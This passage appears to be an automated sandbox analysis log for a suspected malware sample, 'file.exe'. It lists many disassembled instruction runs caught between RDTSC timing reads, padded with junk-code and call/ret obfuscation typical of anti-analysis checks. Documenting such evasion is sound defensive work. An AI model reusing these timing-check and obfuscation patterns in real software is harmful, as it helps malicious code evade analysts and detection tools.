Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44DFD1 second address: 2CED46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 add dword ptr [esp], 14B57545h 0x0000000c push dword ptr [ebp+122D112Dh] 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F61C0BD0388h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov ecx, dword ptr [ebp+122D39D0h] 0x00000032 call dword ptr [ebp+122D3794h] 0x00000038 pushad 0x00000039 mov dword ptr [ebp+122D2AC6h], ecx 0x0000003f jmp 00007F61C0BD0390h 0x00000044 xor eax, eax 0x00000046 sub dword ptr [ebp+122D2AC6h], ecx 0x0000004c mov edx, dword ptr [esp+28h] 0x00000050 pushad 0x00000051 jmp 00007F61C0BD038Dh 0x00000056 xor di, 5E79h 0x0000005b popad 0x0000005c js 00007F61C0BD038Ch 0x00000062 mov dword ptr [ebp+122D2AC6h], ecx 0x00000068 mov dword ptr [ebp+122D3B70h], eax 0x0000006e jmp 00007F61C0BD0390h 0x00000073 mov esi, 0000003Ch 0x00000078 jl 00007F61C0BD038Ch 0x0000007e mov dword ptr [ebp+122D2AC6h], edx 0x00000084 add esi, dword ptr [esp+24h] 0x00000088 jmp 00007F61C0BD0399h 0x0000008d lodsw 0x0000008f mov dword ptr [ebp+122D36ABh], eax 0x00000095 add eax, dword ptr [esp+24h] 0x00000099 stc 0x0000009a cmc 0x0000009b mov ebx, dword ptr [esp+24h] 0x0000009f sub dword ptr [ebp+122D36ABh], ebx 0x000000a5 nop 0x000000a6 push eax 0x000000a7 push edx 0x000000a8 jbe 00007F61C0BD0388h 0x000000ae rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E042 second address: 44E048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E048 second address: 44E04D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E04D second address: 44E0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 7CB72347h 0x00000010 mov edx, 3E8280CCh 0x00000015 push 00000003h 0x00000017 mov ecx, 1285FA54h 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D295Eh], ecx 0x00000024 push 00000003h 0x00000026 mov ecx, edi 0x00000028 push C8706AD0h 0x0000002d jne 00007F61C0D2D458h 0x00000033 xor dword ptr [esp], 08706AD0h 0x0000003a movzx edx, cx 0x0000003d lea ebx, dword ptr [ebp+12452EE7h] 0x00000043 push 00000000h 0x00000045 push ebx 0x00000046 call 00007F61C0D2D448h 0x0000004b pop ebx 0x0000004c mov dword ptr [esp+04h], ebx 0x00000050 add dword ptr [esp+04h], 0000001Dh 0x00000058 inc ebx 0x00000059 push ebx 0x0000005a ret 0x0000005b pop ebx 0x0000005c ret 0x0000005d add edi, 51DD5317h 0x00000063 mov di, bx 0x00000066 push eax 0x00000067 jnp 00007F61C0D2D460h 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F61C0D2D44Eh 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E123 second address: 44E128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E128 second address: 44E1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D450h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f clc 0x00000010 push 00000000h 0x00000012 jg 00007F61C0D2D44Ch 0x00000018 sub dword ptr [ebp+122D36ABh], esi 0x0000001e call 00007F61C0D2D449h 0x00000023 pushad 0x00000024 push ebx 0x00000025 jo 00007F61C0D2D446h 0x0000002b pop ebx 0x0000002c pushad 0x0000002d jnp 00007F61C0D2D446h 0x00000033 push esi 0x00000034 pop esi 0x00000035 popad 0x00000036 popad 0x00000037 push eax 0x00000038 push esi 0x00000039 jns 00007F61C0D2D448h 0x0000003f pushad 0x00000040 popad 0x00000041 pop esi 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 push edi 0x00000047 jmp 00007F61C0D2D456h 0x0000004c pop edi 0x0000004d mov eax, dword ptr [eax] 0x0000004f jmp 00007F61C0D2D44Ah 0x00000054 mov dword ptr [esp+04h], eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F61C0D2D44Bh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E1B4 second address: 44E1B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E1B8 second address: 44E1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E1BE second address: 44E214 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F61C0BD0388h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [ebp+122D28A1h], edi 0x00000011 push 00000003h 0x00000013 or edi, 0043B337h 0x00000019 push 00000000h 0x0000001b mov esi, dword ptr [ebp+122D39C8h] 0x00000021 push 00000003h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007F61C0BD0388h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 00000014h 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d adc dh, FFFFFFDEh 0x00000040 movsx ecx, cx 0x00000043 push 48836EC4h 0x00000048 push eax 0x00000049 push edx 0x0000004a push ecx 0x0000004b jc 00007F61C0BD0386h 0x00000051 pop ecx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E214 second address: 44E219 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E336 second address: 44E379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F61C0BD038Dh 0x00000010 mov eax, dword ptr [eax] 0x00000012 push ecx 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 jmp 00007F61C0BD0399h 0x0000001b popad 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E379 second address: 44E37D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E37D second address: 44E387 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E387 second address: 44E42D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F61C0D2D446h 0x00000009 jmp 00007F61C0D2D44Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop eax 0x00000012 jmp 00007F61C0D2D451h 0x00000017 movzx ecx, di 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F61C0D2D448h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 movsx esi, bx 0x00000039 push 00000000h 0x0000003b jmp 00007F61C0D2D457h 0x00000040 push 00000003h 0x00000042 mov edi, eax 0x00000044 call 00007F61C0D2D449h 0x00000049 pushad 0x0000004a pushad 0x0000004b push esi 0x0000004c pop esi 0x0000004d push ebx 0x0000004e pop ebx 0x0000004f popad 0x00000050 pushad 0x00000051 push edi 0x00000052 pop edi 0x00000053 push ecx 0x00000054 pop ecx 0x00000055 popad 0x00000056 popad 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jnl 00007F61C0D2D459h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E42D second address: 44E457 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F61C0BD0388h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F61C0BD0398h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E457 second address: 44E48B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jno 00007F61C0D2D44Eh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F61C0D2D44Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E48B second address: 44E50E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F61C0BD038Ch 0x0000000c popad 0x0000000d pop eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F61C0BD0388h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 call 00007F61C0BD0396h 0x0000002d add ecx, 15BFE317h 0x00000033 pop esi 0x00000034 lea ebx, dword ptr [ebp+12452EFBh] 0x0000003a mov edi, dword ptr [ebp+122D3BF4h] 0x00000040 xchg eax, ebx 0x00000041 jmp 00007F61C0BD0399h 0x00000046 push eax 0x00000047 jl 00007F61C0BD0394h 0x0000004d push eax 0x0000004e push edx 0x0000004f jne 00007F61C0BD0386h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C413 second address: 46C417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C417 second address: 46C41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C41F second address: 46C424 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CA0B second address: 46CA1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CE73 second address: 46CEAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D458h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F61C0D2D459h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CFEB second address: 46CFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CFEF second address: 46D004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Bh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D004 second address: 46D008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D143 second address: 46D18C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F61C0D2D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F61C0D2D450h 0x00000019 jc 00007F61C0D2D452h 0x0000001f jmp 00007F61C0D2D44Ah 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a jmp 00007F61C0D2D44Fh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D43E second address: 46D445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D445 second address: 46D458 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007F61C0D2D446h 0x00000009 pop edi 0x0000000a pushad 0x0000000b jl 00007F61C0D2D446h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D458 second address: 46D45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D5CC second address: 46D5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F61C0D2D446h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F61C0D2D44Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461360 second address: 461366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461366 second address: 46136A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D76B second address: 46D78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F61C0BD0386h 0x0000000a popad 0x0000000b jmp 00007F61C0BD038Fh 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46DCE2 second address: 46DCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F61C0D2D450h 0x0000000c push ebx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46DE92 second address: 46DE96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E013 second address: 46E01F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E01F second address: 46E023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E171 second address: 46E17D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F61C0D2D446h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E17D second address: 46E181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 471F46 second address: 471F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 472445 second address: 472449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4725E2 second address: 4725E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4725E7 second address: 4725ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 474E9B second address: 474EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A160 second address: 47A180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnc 00007F61C0BD0397h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A180 second address: 47A184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A30B second address: 47A311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A311 second address: 47A315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A457 second address: 47A4C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F61C0BD0398h 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 jmp 00007F61C0BD0399h 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F61C0BD038Fh 0x0000001f jmp 00007F61C0BD0399h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47BB77 second address: 47BB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C0F1 second address: 47C124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0397h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F61C0BD0394h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C124 second address: 47C129 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C1EA second address: 47C1F4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C4E2 second address: 47C506 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C506 second address: 47C50C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C50C second address: 47C511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C6DF second address: 47C70A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jnp 00007F61C0BD03A9h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F61C0BD0397h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C70A second address: 47C70E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C748 second address: 47C74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D5FB second address: 47D60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F61C0D2D446h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D60B second address: 47D627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0398h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D627 second address: 47D6AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F61C0D2D448h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 and esi, dword ptr [ebp+122D38E8h] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F61C0D2D448h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 or dword ptr [ebp+122D1CF2h], edi 0x0000004d mov di, 319Ah 0x00000051 xchg eax, ebx 0x00000052 push ecx 0x00000053 jmp 00007F61C0D2D454h 0x00000058 pop ecx 0x00000059 push eax 0x0000005a pushad 0x0000005b jo 00007F61C0D2D448h 0x00000061 pushad 0x00000062 popad 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D6AB second address: 47D6AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48093A second address: 48093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48093F second address: 480949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F61C0BD0386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FBFF second address: 47FC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4813AB second address: 4813AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4813AF second address: 481437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F61C0D2D45Ah 0x0000000e jnc 00007F61C0D2D454h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F61C0D2D448h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov esi, dword ptr [ebp+122D2968h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F61C0D2D448h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D2344h], edx 0x00000057 push 00000000h 0x00000059 or dword ptr [ebp+1247C199h], esi 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F61C0D2D44Bh 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481E68 second address: 481E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F61C0BD038Ch 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48112B second address: 48112F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48587E second address: 485882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485882 second address: 485888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485888 second address: 48588C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486D1D second address: 486D3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F61C0D2D448h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485F9A second address: 485F9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
